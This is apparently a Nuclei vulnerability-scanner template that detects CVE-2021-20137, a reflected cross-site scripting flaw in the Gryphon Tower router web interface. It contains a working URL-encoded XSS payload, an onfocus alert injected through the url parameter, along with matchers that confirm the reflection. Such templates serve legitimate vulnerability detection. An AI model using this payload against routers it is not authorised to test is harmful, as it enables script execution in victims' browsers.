id: CVE-2021-20137

info:
  name: Gryphon Tower - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
    - https://www.tenable.com/security/research/tra-2021-51
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20137
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20137
    cwe-id: CWE-79
    epss-score: 0.3285
    epss-percentile: 0.96459
    cpe: cpe:2.3:o:gryphonconnect:gryphon_tower_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gryphonconnect
    product: gryphon_tower_firmware
  tags: xss,tenable,cve,cve2021,gryphon

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - 'onfocus=alert(document.domain) autofocus=1>'
          - 'Send Access Request URL'
        condition: and

      - type: status
        status:
          - 200